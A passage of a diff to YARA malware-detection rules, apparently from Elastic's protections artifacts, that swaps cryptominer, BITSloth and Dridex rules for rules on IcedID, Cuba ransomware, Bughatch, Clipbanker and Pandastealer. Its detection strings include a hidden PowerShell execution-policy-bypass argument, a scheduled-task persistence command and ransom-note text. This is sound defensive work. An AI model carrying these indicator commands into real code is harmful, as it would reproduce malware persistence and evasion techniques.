-		logic_hash = "c8e2ebcffe8a169c2cc311c95538b674937fa87e06d2946a6ed3b0c1f039f7fc"
+		id = "81eff9a3-4c75-48a5-8160-718c9a2d1e14"
+		date = "2023-05-05"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_IcedID.yar#L351-L371"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "96dacdf50d1db495c8395d7cf454aa3a824801cf366ac368fe496f89b5f98fe7"
+		logic_hash = "923dd8166cce0ec32b3b8b20cad192b3c15b7ce7c17fd44ddda739ad205a6c06"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e9ca9b9faee091afed534b89313d644a52476b4757663e1cdfbcbca379857740"
+		fingerprint = "f764c4b2a562eb92a7326a45b180da7f930ffcc4f0b88bbd640c2fe7b71f82b6"
+		threat_name = "Windows.Trojan.IcedID"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 71 18 4C 89 FF FF D0 48 8B 84 24 A0 00 00 00 48 89 43 60 48 8B 84 24 98 00 }
+		$a = "E:\\source\\anubis\\int-bot\\x64\\Release\\int-bot.pdb" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_54357231 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Cuba_E64A16B1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Ransomware Cuba (Windows.Ransomware.Cuba)"
 		author = "Elastic Security"
-		id = "54357231-23d8-44f5-94d7-71da02a8ba38"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L801-L819"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "388b927b850b388e0a46a6c9a22b733d469e0f93dc053ebd78996e903b25e38a"
-		logic_hash = "a895c9fd124d6bd55748093c3ef54606e5692285260aa21bd70dca02126239d2"
+		id = "e64a16b1-262c-4835-bd95-4dde89dd75f4"
+		date = "2021-08-04"
+		modified = "2021-10-04"
+		reference = "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Cuba.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e"
+		logic_hash = "915425ad49f1b9ebde114f92155d5969ec707304403f46d891d014b399165a4d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8bbba49c863bc3d53903b1a204851dc656f3e3d68d3c8d5a975ed2dc9e797e13"
+		fingerprint = "840f2ebe2664db9a0918acf7d408ca8060ee0d3c330ad08b36e5be7f7e2cf069"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 73 F2 06 C5 F9 EB C2 C4 E3 79 16 E0 02 C4 E3 79 16 E2 03 C5 F9 70 }
+		$a = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }
+		$HeaderCheck = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_467C4D46 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Cuba_95A98E69 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Ransomware Cuba (Windows.Ransomware.Cuba)"
 		author = "Elastic Security"
-		id = "467c4d46-3272-452c-9251-3599d16fc916"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L821-L839"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "388b927b850b388e0a46a6c9a22b733d469e0f93dc053ebd78996e903b25e38a"
-		logic_hash = "b28f871365c1fa6315b1c2fc6698bdd224961972cd578db05c311406c239ac22"
+		id = "95a98e69-ce6c-40c6-a05b-2366c663ad6e"
+		date = "2021-08-04"
+		modified = "2021-10-04"
+		reference = "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Cuba.yar#L23-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "00f18713f860dc8394fb23a1a2b6280d1eb2f20a487c175433a7b495a1ba408d"
+		logic_hash = "d17ef93943e826613be4c21ad1e41d1daa33db9da0fa6106bb8ba6334ebe1d08"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "cbde94513576fdb7cabf568bd8439f0194d6800373c3735844e26d262c8bc1cc"
-		severity = 100
+		fingerprint = "05cfd7803692149a55d9ced84828422b66e8b301c8c2aae9ca33c6b68e29bcf8"
+		severity = 90
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 49 8B 77 08 48 21 DE 4C 39 EE 75 CE 66 41 83 7F 1E 04 4C 89 F5 }
+		$a1 = "We also inform that your databases, ftp server and file server were downloaded by us to our servers." ascii fullword
+		$a2 = "Good day. All your files are encrypted. For decryption contact us." ascii fullword
+		$a3 = ".cuba" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_E0Cca9Dc : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bughatch_21269Be4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Bughatch (Windows.Trojan.Bughatch)"
 		author = "Elastic Security"
-		id = "e0cca9dc-0f3e-42d8-bb43-0625f4f9bfe1"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L841-L859"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "59a1d8aa677739f2edbb8bd34f566b31f19d729b0a115fef2eac8ab1d1acc383"
-		logic_hash = "fa4089f74fc78e99427b4e8eda9f8348e042dc876c7281a4a2173c83076bfbd2"
+		id = "21269be4-cff1-42b9-be6b-f6a6bde40bff"
+		date = "2022-05-09"
+		modified = "2022-06-09"
+		reference = "https://www.elastic.co/security-labs/bughatch-malware-analysis"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Bughatch.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f"
+		logic_hash = "a8a2cae51a31e48ffe729df61ec96e3257f9c997ad5234075f85ed55de96f11d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e7bc17ba356774ed10e65c95a8db3b09d3b9be72703e6daa9b601ea820481db7"
+		fingerprint = "1ff55288554133690d96161c05a047ffba47778ff27d32ff656b3a194d6c26e0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 54 24 40 48 8D 94 24 C0 00 00 00 F3 41 0F 6F 01 48 89 7C 24 50 48 89 74 }
+		$a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }
+		$a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }
+		$b1 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_36E404E2 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bughatch_98F3C0Be : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Bughatch (Windows.Trojan.Bughatch)"
 		author = "Elastic Security"
-		id = "36e404e2-be7c-40dc-b861-8ab929cad019"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L861-L879"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "59a1d8aa677739f2edbb8bd34f566b31f19d729b0a115fef2eac8ab1d1acc383"
-		logic_hash = "d38cc5714721c0b00cfa47cb9828fd76ff57ec8180e5cfe1fec67a092dd87904"
+		id = "98f3c0be-1327-4ba2-9320-c1a9ce90b4a4"
+		date = "2022-05-09"
+		modified = "2022-06-09"
+		reference = "https://www.elastic.co/security-labs/bughatch-malware-analysis"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Bughatch.yar#L24-L51"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f"
+		logic_hash = "d578515fece7bd464bb09cc5ddb5caf70f4022e8b10388db689e67e662d57f66"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7268b94d67f586ded78ad3a52b23a81fd4edb866fedd0ab1e55997f1bbce4c72"
+		fingerprint = "1ac6b1285e1925349e4e578de0b2f1cf8a008cddbb1a20eb8768b1fcc4b0c8d3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 61 6C 73 65 20 70 6F 73 69 74 69 76 65 29 1B 5B 30 6D 00 44 45 }
+		$a1 = "-windowstyle hidden -executionpolicy bypass -file"
+		$a2 = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
+		$a3 = "ReflectiveLoader"
+		$a4 = "\\Sysnative\\"
+		$a5 = "TEMP%u.CMD"
+		$a6 = "TEMP%u.PS1"
+		$a7 = "\\TEMP%d.%s"
+		$a8 = "NtSetContextThread"
+		$a9 = "NtResumeThread"
 
 	condition:
-		all of them
+		6 of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_947Dcc5E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Clipbanker_7Efaef9F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Clipbanker (Windows.Trojan.Clipbanker)"
 		author = "Elastic Security"
-		id = "947dcc5e-be4c-4d31-936f-63d466db2934"
-		date = "2024-04-19"
-		modified = "2024-06-12"
+		id = "7efaef9f-51cd-4fea-a48d-fa9d39cb735e"
+		date = "2022-02-28"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L881-L899"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7c5a6ac425abe60e8ea5df5dfa8211a7c34a307048b4e677336b735237dcd8fd"
-		logic_hash = "c4aac006561386fbfe0fa0fe3df6b6798d2915a3dbfb5384583ebf9b2f413115"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Clipbanker.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "02b06acb113c31f5a2ac9c99f9614e0fab0f78afc5ae872e46bae139c2c9b1f6"
+		logic_hash = "fa547d7c1623b332ef306672dd2293b44016d9974c1a3ec4b15e5ae0483ff879"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f6087a90a9064b505b60a1c53af008b025064f4a823501cae5f00bbe5157d67b"
+		fingerprint = "fe0ec44f8707cd03f845dbea4ff5bb1b699db1b69b75f0365168a75cc8bb68a3"
 		severity = 100
-		arch_context = "x86, arm64"
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 28 00 00 0A 30 51 9F E5 04 20 94 E5 04 30 A0 E1 38 00 44 E2 00 40 94 E5 00 40 82 E5 04 20 93 E5 04 20 84 E5 0C 20 13 E5 00 30 83 E5 04 00 12 E3 04 30 83 E5 06 00 00 0A 04 10 C2 E3 08 00 12 E3 }
+		$a1 = "C:\\Users\\youar\\Desktop\\Allcome\\Source code\\Build\\Release\\Build.pdb" ascii fullword
+		$b1 = "https://steamcommunity.com/tradeoffer" ascii fullword
+		$b2 = "/Create /tn NvTmRep_CrashReport3_{B2FE1952-0186} /sc MINUTE /tr %s" ascii fullword
+		$b3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0" ascii fullword
+		$b4 = "ProcessHacker.exe" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_B4C2D007 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Clipbanker_B60A50B8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Clipbanker (Windows.Trojan.Clipbanker)"
 		author = "Elastic Security"
-		id = "b4c2d007-9464-4b72-ae2d-b0f1aeaa6fca"
-		date = "2024-04-19"
-		modified = "2024-06-12"
+		id = "b60a50b8-91a4-49a7-bd05-fa4cc1dee1ac"
+		date = "2022-02-28"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L901-L919"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e1e518ba226d30869e404b92bfa810bae27c8b1476766934961e80c44e39c738"
-		logic_hash = "cb52d9233028918210b8bd3959a6649d75b5c6873befff0cf62d9e71dfecc302"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Clipbanker.yar#L25-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "02b06acb113c31f5a2ac9c99f9614e0fab0f78afc5ae872e46bae139c2c9b1f6"
+		logic_hash = "fe585ab7efbc3b500ea23d1c164bc79ded658001e53fc71721e435ed7579182a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "364fa077b99cd32d790399fd9f06f99ffef19c37487ef8a4fd81bf36988ecaa6"
+		fingerprint = "097bb88d8482a4915c19affc82750c7ee225b89f2611ea654cfc3c044aae0738"
 		severity = 100
-		arch_context = "x86, arm64"
+		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FD 03 00 91 F3 53 01 A9 F4 03 00 AA 20 74 40 F9 60 17 00 B4 20 10 42 79 F3 03 01 AA F9 6B 04 A9 40 17 00 34 62 62 40 39 F5 5B 02 A9 26 10 40 39 F7 63 03 A9 63 12 40 B9 FB 73 05 A9 3B A0 03 91 }
+		$a1 = { 40 66 0F F8 C1 0F 11 40 A0 0F 10 84 15 08 FF FF FF 83 C2 40 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Bitsloth_05Fc3A0A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Clipbanker_F9F9E79D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bitsloth (Windows.Trojan.BITSloth)"
+		description = "Detects Windows Trojan Clipbanker (Windows.Trojan.Clipbanker)"
 		author = "Elastic Security"
-		id = "05fc3a0a-ce19-4042-90f8-32a43f40616e"
-		date = "2024-07-16"
-		modified = "2024-07-26"
+		id = "f9f9e79d-ce71-4b6c-83e0-ac6e06252c25"
+		date = "2022-04-23"
+		modified = "2022-06-09"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_BITSloth.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0944b17a4330e1c97600f62717d6bae7e4a4260604043f2390a14c8d76ef1507"
-		logic_hash = "8210dc28cf408f7f836aad3c32868ea21dd0862070c2c37d98b089a80be9285e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Clipbanker.yar#L45-L63"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c"
+		logic_hash = "a71d75719133e8b84956ec002cb31f82386ef711fa2af79d204d176492cd354b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "520722d4502230eed76b0c53fffb90bd2b818256363bc1393f51c378ff6cdd9b"
+		fingerprint = "ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -101300,123 +105714,122 @@ rule ELASTIC_Windows_Trojan_Bitsloth_05Fc3A0A : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$str_1 = "/%s/index.htm?RspID=%d" wide fullword
-		$str_2 = "/%s/%08x.rpl" wide fullword
-		$str_3 = "/%s/wu.htm" wide fullword
-		$str_4 = "GET_DESKDOP" wide fullword
-		$str_5 = "http://updater.microsoft.com/index.aspx" wide fullword
-		$str_6 = "[U] update error..." wide fullword
-		$str_7 = "RMC_KERNEL ..." wide fullword
-		$seq_global_protocol_check = { 81 3D ?? ?? ?? ?? F9 03 00 00 B9 AC 0F 00 00 0F 46 C1 }
-		$seq_exit_windows = { 59 85 C0 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A 02 EB ?? 56 EB }
+		$a1 = { 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83 }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Dridex_63Ddf193 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Clipbanker_787B130B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Dridex (Windows.Trojan.Dridex)"
+		description = "Detects Windows Trojan Clipbanker (Windows.Trojan.Clipbanker)"
 		author = "Elastic Security"
-		id = "63ddf193-31a6-4139-b452-960fe742da93"
-		date = "2021-08-07"
-		modified = "2021-10-04"
+		id = "787b130b-6382-42f0-8822-fce457fa940d"
+		date = "2022-04-24"
+		modified = "2022-06-09"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Dridex.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b1d66350978808577159acc7dc7faaa273e82c103487a90bf0d040afa000cb0d"
-		logic_hash = "e792f4693be0a7c71d1e638212a8fb3acb1e14dedd48218861fad8c09811da29"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Clipbanker.yar#L65-L87"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c"
+		logic_hash = "88783bde7014853f6556c6e7ee2dfd5cd5fcbfb4523ed158b4287e2bfba409f1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7b4c5fde8e107a67ff22f3012200e56ec452e0a57a49edb2e06ee225ecfe228c"
-		severity = 90
+		fingerprint = "15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "snxhk.dll" ascii fullword
-		$a2 = "LondLibruryA" ascii fullword
+		$mutex_setup = { 55 8B EC 83 EC ?? 53 56 57 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? FF 15 ?? ?? ?? ?? }
+		$new_line_check = { 0F B7 C2 89 45 ?? 0F B7 C2 83 F8 0A 74 ?? BA 0D 0A 00 00 66 3B C2 74 ?? 83 F8 0D 74 ?? 83 F8 20 74 ?? 83 F8 09 74 ?? }
+		$regex1 = { 0F B7 C2 89 45 ?? 0F B7 C2 83 F8 0A 74 ?? BA 0D 0A 00 00 66 3B C2 74 ?? 83 F8 0D 74 ?? 83 F8 20 74 ?? 83 F8 09 74 ?? }
+		$regex2 = { 6A 34 59 66 39 0E 75 ?? 0F B7 46 ?? 6A 30 5A 83 F8 41 74 ?? 83 F8 42 74 ?? 66 3B C2 74 ?? 83 F8 31 74 ?? 83 F8 32 74 ?? 83 F8 33 74 ?? 66 3B C1 74 ?? 83 F8 35 74 ?? 83 F8 36 74 ?? 83 F8 37 74 ?? 83 F8 38 74 ?? 83 F8 39 75 ?? }
+		$regex3 = { 56 8B F1 56 FF 15 ?? ?? ?? ?? 83 F8 5F 0F 85 ?? ?? ?? ?? 6A 38 59 66 39 0E 75 ?? 0F B7 46 ?? 6A 30 5A 83 F8 41 74 ?? 83 F8 42 74 ?? 66 3B C2 74 ?? 83 F8 31 74 ?? 83 F8 32 74 ?? 83 F8 33 74 ?? 83 F8 34 74 ?? 83 F8 35 74 ?? 83 F8 36 74 ?? 83 F8 37 74 ?? 66 3B C1 74 ?? 83 F8 39 75 ?? }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Trojan_Dridex_C6F01353 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Bedevil_A1A72C39 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Dridex (Windows.Trojan.Dridex)"
+		description = "Detects Linux Trojan Bedevil (Linux.Trojan.Bedevil)"
 		author = "Elastic Security"
-		id = "c6f01353-cf55-4eac-9f25-6f9cce3b7990"
-		date = "2021-08-07"
-		modified = "2021-10-04"
+		id = "a1a72c39-c8a3-4372-bd1d-de6360c9c19e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Dridex.yar#L22-L40"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "739682ccb54170e435730c54ba9f7e09f32a3473c07d2d18ae669235dcfe84de"
-		logic_hash = "7146204d779610c04badfc7d884ff882ff5f1439b61f889d1edf4419240c5751"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Bedevil.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "017a9d7290cf327444d23227518ab612111ca148da7225e64a9f6ebd253449ab"
+		logic_hash = "227adcc340c38cebf56ea2f39b483c965dd46827d83afe5f866ca844c932da76"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fbdb230032e3655448d26a679afc612c79d33ac827bcd834e54fe5c05f04d828"
+		fingerprint = "ea4762d6ba0b88017feda1ed68d70bedd1438bb853b8ee1f83cbca2276bfbd1e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 56 57 55 8B FA 85 C9 74 58 85 FF 74 54 0F B7 37 85 F6 75 04 }
+		$a = { 73 3A 20 1B 5B 31 3B 33 31 6D 25 64 1B 5B 30 6D 0A 00 1B 5B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_83715433 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Pandastealer_8B333E76 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Pandastealer (Windows.Trojan.Pandastealer)"
 		author = "Elastic Security"
-		id = "83715433-3dff-4238-8cdb-c51279565e05"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "8b333e76-f723-4093-ad72-2f5d42aaa9c9"
+		date = "2021-09-02"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3648a407224634d76e82eceec84250a7506720a7f43a6ccf5873f478408fedba"
-		logic_hash = "7a7328322c2c1e128e267e92de0964e78ad9f49b7de8ec69d7f0632c69723a7d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Pandastealer.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ec346bd56be375b695b4bc76720959fa07d1357ffc3783eb61de9b8d91b3d935"
+		logic_hash = "5878799338fc18bac0f946faeadd59c921dee32c9391fc12d22c72c0cd6733a8"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE, MEMORY"
-		fingerprint = "25ac15f4b903d9e28653dad0db399ebd20d4e9baabf5078fbc33d3cd838dd7e9"
+		fingerprint = "873af8643b7f08b159867c3556654a5719801aa82e1a1f6402029afad8c01487"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 8B 45 08 88 10 FF 45 08 8B 45 08 0F B6 00 84 C0 75 DB C9 C3 55 }
+		$a1 = "] - [user: " ascii fullword
+		$a2 = "[-] data unpacked failed" ascii fullword
+		$a3 = "[+] data unpacked" ascii fullword
+		$a4 = "\\history\\" ascii fullword
+		$a5 = "PlayerName" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_28A2Fe0C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ladvix_Db41F9D2 : FILE MEMORY
 {
 	meta:
